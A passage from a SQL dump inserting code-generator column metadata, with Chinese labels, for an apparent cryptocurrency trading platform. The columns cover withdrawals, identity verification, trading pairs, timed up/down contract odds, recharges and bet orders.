6, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (71, '7', 'user_id', '用户', 'int', 'Long', 'userId', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (72, '7', 'username', '用户名', 'varchar(256)', 'String', 'username', '0', '0', NULL, '1', '1', '1', '1', 'LIKE', 'input', '', 8, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (73, '7', 'address', '用户名', 'varchar(500)', 'String', 'address', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 9, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (74, '7', 'amount', '提现金额', 'decimal(30,6)', 'BigDecimal', 'amount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 10, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (75, '7', 'status', '0审核中1成功2失败', 'tinyint unsigned', 'String', 'status', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'radio', '', 11, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (76, '7', 'serial_id', NULL, 'varchar(1024)', 'String', 'serialId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 12, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (77, '7', 'search_value', NULL, 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 13, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (78, '7', 'from_addr', '用户名', 'varchar(500)', 'String', 'fromAddr', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 14, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (79, '7', 'type', '0审核中1成功2失败', 'varchar(50)', 'String', 'type', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 15, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (80, '7', 'coin', '用户名', 'varchar(500)', 'String', 'coin', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 16, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (81, '7', 'ratio', NULL, 'double', 'Long', 'ratio', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 17, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (82, '7', 'fee', '手续费', 'decimal(10,6)', 'BigDecimal', 'fee', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 18, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (83, '7', 'withdraw_id', '用户名', 'varchar(500)', 'String', 'withdrawId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 19, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (84, '7', 'host', 'Host', 'varchar(500)', 'String', 'host', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 20, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (85, '7', 'real_amount', '实际金额', 'decimal(20,6)', 'BigDecimal', 'realAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 21, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (86, '7', 'to_adress', '收款地址', 'varchar(255)', 'String', 'toAdress', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 22, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (87, '7', 'admin_user_id', '后台用户id', 'bigint', 'Long', 'adminUserId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 23, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (88, '7', 'notice_flag', '通知字段 0未通知 1通知了', 'int', 'Long', 'noticeFlag', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 24, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (89, '7', 'with_draw_remark', '提现说明', 'varchar(255)', 'String', 'withDrawRemark', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 25, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (90, '7', 'bank_name', '银行名称', 'varchar(255)', 'String', 'bankName', '0', '0', NULL, '1', '1', '1', '1', 'LIKE', 'input', '', 26, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (91, '7', 'bank_user_name', '银行收款人名称', 'varchar(255)', 'String', 'bankUserName', '0', '0', NULL, '1', '1', '1', '1', 'LIKE', 'input', '', 27, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (92, '7', 'bank_branch', NULL, 'varchar(255)', 'String', 'bankBranch', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 28, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (93, '8', 'id', '', 'int', 'Long', 'id', '1', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-04 16:36:46', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (94, '8', 'user_id', '', 'int', 'Long', 'userId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-04 16:36:46', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (95, '8', 'user_tard_pwd', '用户交易密码', 'varchar(20)', 'String', 'userTardPwd', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 10, 'admin', '2023-07-04 16:36:46', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (96, '8', 'create_by', '', 'varchar(20)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 11, 'admin', '2023-07-04 16:36:46', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (97, '8', 'create_time', '', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 12, 'admin', '2023-07-04 16:36:46', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (98, '8', 'update_by', '', 'varchar(20)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 13, 'admin', '2023-07-04 16:36:46', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (99, '8', 'update_time', '', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 14, 'admin', '2023-07-04 16:36:46', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (100, '8', 'remark', '', 'varchar(1024)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 15, 'admin', '2023-07-04 16:36:46', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (101, '8', 'search_value', '', 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 16, 'admin', '2023-07-04 16:36:46', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (102, '8', 'real_name', '真实姓名', 'varchar(20)', 'String', 'realName', '0', '0', NULL, '1', '1', '1', '1', 'LIKE', 'input', '', 3, '', '2023-07-07 13:06:56', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (103, '8', 'id_card', '身份证号码', 'varchar(255)', 'String', 'idCard', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 4, '', '2023-07-07 13:06:56', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (104, '8', 'front_url', '身份证正面照片', 'varchar(255)', 'String', 'frontUrl', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 5, '', '2023-07-07 13:06:56', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (105, '8', 'country', '国际', 'varchar(50)', 'String', 'country', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 6, '', '2023-07-07 13:06:56', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (106, '8', 'card_type', '', 'varchar(255)', 'String', 'cardType', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 7, '', '2023-07-07 13:06:56', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (107, '8', 'handel_url', '手持身份证照片', 'varchar(255)', 'String', 'handelUrl', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 8, '', '2023-07-07 13:06:56', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (108, '8', 'back_url', '身份证反面照片', 'varchar(255)', 'String', 'backUrl', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 9, '', '2023-07-07 13:06:56', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (109, '9', 'id', 'id', 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-11 10:07:30', '', NULL); +INSERT INTO `gen_table_column` VALUES (110, '9', 'symbol', '合约交易对', 'varchar(255)', 'String', 'symbol', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-11 10:07:30', '', NULL); +INSERT INTO `gen_table_column` VALUES (111, '9', 'status', '是否启用 2关闭 1启用', 'int', 'Long', 'status', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'radio', '', 3, 'admin', '2023-07-11 10:07:30', '', NULL); +INSERT INTO `gen_table_column` VALUES (112, '9', 'show_flag', '是否展示 2不展示 1展示', 'int', 'Long', 'showFlag', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 4, 'admin', '2023-07-11 10:07:30', '', NULL); +INSERT INTO `gen_table_column` VALUES (113, '9', 'coin', '币种', 'varchar(255)', 'String', 'coin', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-07-11 10:07:30', '', NULL); +INSERT INTO `gen_table_column` VALUES (114, '9', 'sort', '排序', 'int', 'Long', 'sort', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-07-11 10:07:30', '', NULL); +INSERT INTO `gen_table_column` VALUES (115, '9', 'create_by', '创建人', 'varchar(64)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 7, 'admin', '2023-07-11 10:07:30', '', NULL); +INSERT INTO `gen_table_column` VALUES (116, '9', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 8, 'admin', '2023-07-11 10:07:30', '', NULL); +INSERT INTO `gen_table_column` VALUES (117, '9', 'update_by', '更新人', 'varchar(64)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 9, 'admin', '2023-07-11 10:07:30', '', NULL); +INSERT INTO `gen_table_column` VALUES (118, '9', 'update_time', '更新时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 10, 'admin', '2023-07-11 10:07:30', '', NULL); +INSERT INTO `gen_table_column` VALUES (119, '9', 'remark', '备注', 'varchar(500)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 11, 'admin', '2023-07-11 10:07:30', '', NULL); +INSERT INTO `gen_table_column` VALUES (120, '9', 'search_value', NULL, 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 12, 'admin', '2023-07-11 10:07:30', '', NULL); +INSERT INTO `gen_table_column` VALUES (121, '10', 'id', 'id', 'bigint', 'Long', 'id', '1', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-11 10:07:30', '', '2023-07-12 18:30:12'); +INSERT INTO `gen_table_column` VALUES (122, '10', 'second_id', '秒合约币种配置id', 'bigint', 'Long', 'secondId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-11 10:07:30', '', '2023-07-12 18:30:12'); +INSERT INTO `gen_table_column` VALUES (123, '10', 'period', '时间周期 单位秒', 'int', 'Long', 'period', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-11 10:07:30', '', '2023-07-12 18:30:12'); +INSERT INTO `gen_table_column` VALUES (124, '10', 'max_amount', '最大金额', 'decimal(18,4)', 'BigDecimal', 'maxAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-07-11 10:07:30', '', '2023-07-12 18:30:12'); +INSERT INTO `gen_table_column` VALUES (125, '10', 'min_amount', '最小金额', 'decimal(18,4)', 'BigDecimal', 'minAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-07-11 10:07:30', '', '2023-07-12 18:30:12'); +INSERT INTO `gen_table_column` VALUES (126, '10', 'status', '1开启 2关闭', 'int', 'Long', 'status', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'radio', '', 7, 'admin', '2023-07-11 10:07:30', '', '2023-07-12 18:30:12'); +INSERT INTO `gen_table_column` VALUES (127, '10', 'create_by', '创建人', 'varchar(64)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 8, 'admin', '2023-07-11 10:07:30', '', '2023-07-12 18:30:12'); +INSERT INTO `gen_table_column` VALUES (128, '10', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 9, 'admin', '2023-07-11 10:07:30', '', '2023-07-12 18:30:12'); +INSERT INTO `gen_table_column` VALUES (129, '10', 'update_by', '更新人', 'varchar(64)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 10, 'admin', '2023-07-11 10:07:30', '', '2023-07-12 18:30:12'); +INSERT INTO `gen_table_column` VALUES (130, '10', 'update_time', '更新时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 11, 'admin', '2023-07-11 10:07:30', '', '2023-07-12 18:30:12'); +INSERT INTO `gen_table_column` VALUES (131, '10', 'remark', '备注', 'varchar(500)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 12, 'admin', '2023-07-11 10:07:30', '', '2023-07-12 18:30:12'); +INSERT INTO `gen_table_column` VALUES (132, '10', 'search_value', '', 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 13, 'admin', '2023-07-11 10:07:30', '', '2023-07-12 18:30:12'); +INSERT INTO `gen_table_column` VALUES (133, '11', 'id', '主键id', 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (134, '11', 'symbol', '币种', 'varchar(50)', 'String', 'symbol', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (135, '11', 'min_charge_num', '最小兑换数量', 'decimal(10,0)', 'Long', 'minChargeNum', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (136, '11', 'max_charge_num', '最大兑换数量', 'decimal(10,0)', 'Long', 'maxChargeNum', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 4, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (137, '11', 'commission', '手续费(%)', 'decimal(10,0)', 'Long', 'commission', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (138, '11', 'sort', '排序', 'int', 'Long', 'sort', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (139, '11', 'enable', '1 启用 2 禁用', 'char(1)', 'String', 'enable', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (140, '11', 'remark', '备注', 'varchar(500)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 8, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (141, '11', 'create_by', '创建人', 'varchar(100)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 9, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (142, '11', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 10, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (143, '11', 'update_by', '修改人', 'varchar(100)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 11, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (144, '11', 'update_time', '修改时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 12, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (145, '11', 'del_flag', '0正常 2删除', 'char(1)', 'String', 'delFlag', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 13, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (146, '12', 'id', '卡ID', 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (147, '12', 'create_by', NULL, 'varchar(64)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 2, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (148, '12', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 3, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (149, '12', 'update_by', NULL, 'varchar(64)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 4, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (150, '12', 'update_time', '更新时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 5, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (151, '12', 'remark', NULL, 'varchar(500)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 6, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (152, '12', 'user_id', '所有者ID', 'bigint', 'Long', 'userId', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (153, '12', 'username', '用户名', 'varchar(500)', 'String', 'username', '0', '0', NULL, '1', '1', '1', '1', 'LIKE', 'textarea', '', 8, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (154, '12', 'amount', '充值金额', 'decimal(30,6)', 'BigDecimal', 'amount', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 9, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (155, '12', 'bonus', NULL, 'int', 'Long', 'bonus', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 10, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (156, '12', 'status', '状态', 'tinyint', 'Long', 'status', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'radio', '', 11, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (157, '12', 'serial_id', '订单号', 'varchar(1024)', 'String', 'serialId', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'textarea', '', 12, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (158, '12', 'tx_id', '第三方支付订单号', 'varchar(128)', 'String', 'txId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 13, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (159, '12', 'type', '类型', 'varchar(255)', 'String', 'type', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'select', '', 14, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (160, '12', 'search_value', NULL, 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 15, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (161, '12', 'address', '充值地址', 'varchar(64)', 'String', 'address', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 16, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (162, '12', 'tree', NULL, 'varchar(1024)', 'String', 'tree', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 17, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (163, '12', 'coin', '币总', 'varchar(64)', 'String', 'coin', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 18, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (164, '12', 'to_address', '入款地址', 'varchar(64)', 'String', 'toAddress', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 19, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (165, '12', 'block_time', '区块时间', 'datetime', 'Date', 'blockTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 20, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (166, '12', 'host', NULL, 'varchar(64)', 'String', 'host', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 21, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (167, '12', 'real_amount', '实际到账金额', 'decimal(18,6)', 'BigDecimal', 'realAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 22, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (168, '12', 'file_name', '充值凭证', 'varchar(255)', 'String', 'fileName', '0', '0', NULL, '1', '1', '1', '1', 'LIKE', 'input', '', 23, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (169, '12', 'recharge_remark', NULL, 'varchar(255)', 'String', 'rechargeRemark', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 24, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (170, '12', 'notice_flag', '通知字段 0未通知 1通知了', 'int', 'Long', 'noticeFlag', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 25, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (171, '12', 'app_parent_ids', 'app代理ids', 'varchar(1024)', 'String', 'appParentIds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 26, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (172, '12', 'admin_parent_ids', '后台代理ids', 'varchar(1024)', 'String', 'adminParentIds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 27, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (173, '13', 'id', '主键id', 'int', 'Long', 'id', '1', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-12 15:27:02', '', '2023-07-12 15:28:07'); +INSERT INTO `gen_table_column` VALUES (174, '13', 'user_id', '用户id', 'int', 'Long', 'userId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-12 15:27:02', '', '2023-07-12 15:28:07'); +INSERT INTO `gen_table_column` VALUES (175, '13', 'symbol', '币种', 'varchar(50)', 'String', 'symbol', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-12 15:27:02', '', '2023-07-12 15:28:07'); +INSERT INTO `gen_table_column` VALUES (176, '13', 'address', '充值地址', 'varchar(100)', 'String', 'address', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 4, 'admin', '2023-07-12 15:27:02', '', '2023-07-12 15:28:08'); +INSERT INTO `gen_table_column` VALUES (177, '10', 'odds', '赔率', 'decimal(18,4)', 'BigDecimal', 'odds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 4, '', '2023-07-12 18:30:12', '', NULL); +INSERT INTO `gen_table_column` VALUES (178, '14', 'id', NULL, 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (179, '14', 'order_no', '订单号', 'varchar(255)', 'String', 'orderNo', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (180, '14', 'symbol', '交易对', 'varchar(255)', 'String', 'symbol', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (181, '14', 'type', '类型', 'varchar(255)', 'String', 'type', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'select', '', 4, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (182, '14', 'user_id', '用户id', 'int', 'Long', 'userId', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (183, '14', 'user_address', '用户地址', 'varchar(255)', 'String', 'userAddress', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (184, '14', 'bet_content', '预测方向:0 涨 1跌', 'varchar(255)', 'String', 'betContent', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'editor', '', 7, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (185, '14', 'open_result', '开奖结果', 'varchar(255)', 'String', 'openResult', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 8, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (186, '14', 'status', '订单状态 0参与中 1已开奖 2已撤销', 'int', 'Long', 'status', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'radio', '', 9, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (187, '14', 'bet_amount', '投注金额', 'decimal(16,4)', 'BigDecimal', 'betAmount', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 10, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (188, '14', 'reward_amount', '获奖金额', 'decimal(16,4)', 'BigDecimal', 'rewardAmount', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 11, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (189, '14', 'compensation_amount', '赔偿金额', 'decimal(16,4)', 'BigDecimal', 'compensationAmount', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 12, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (190, '14', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', 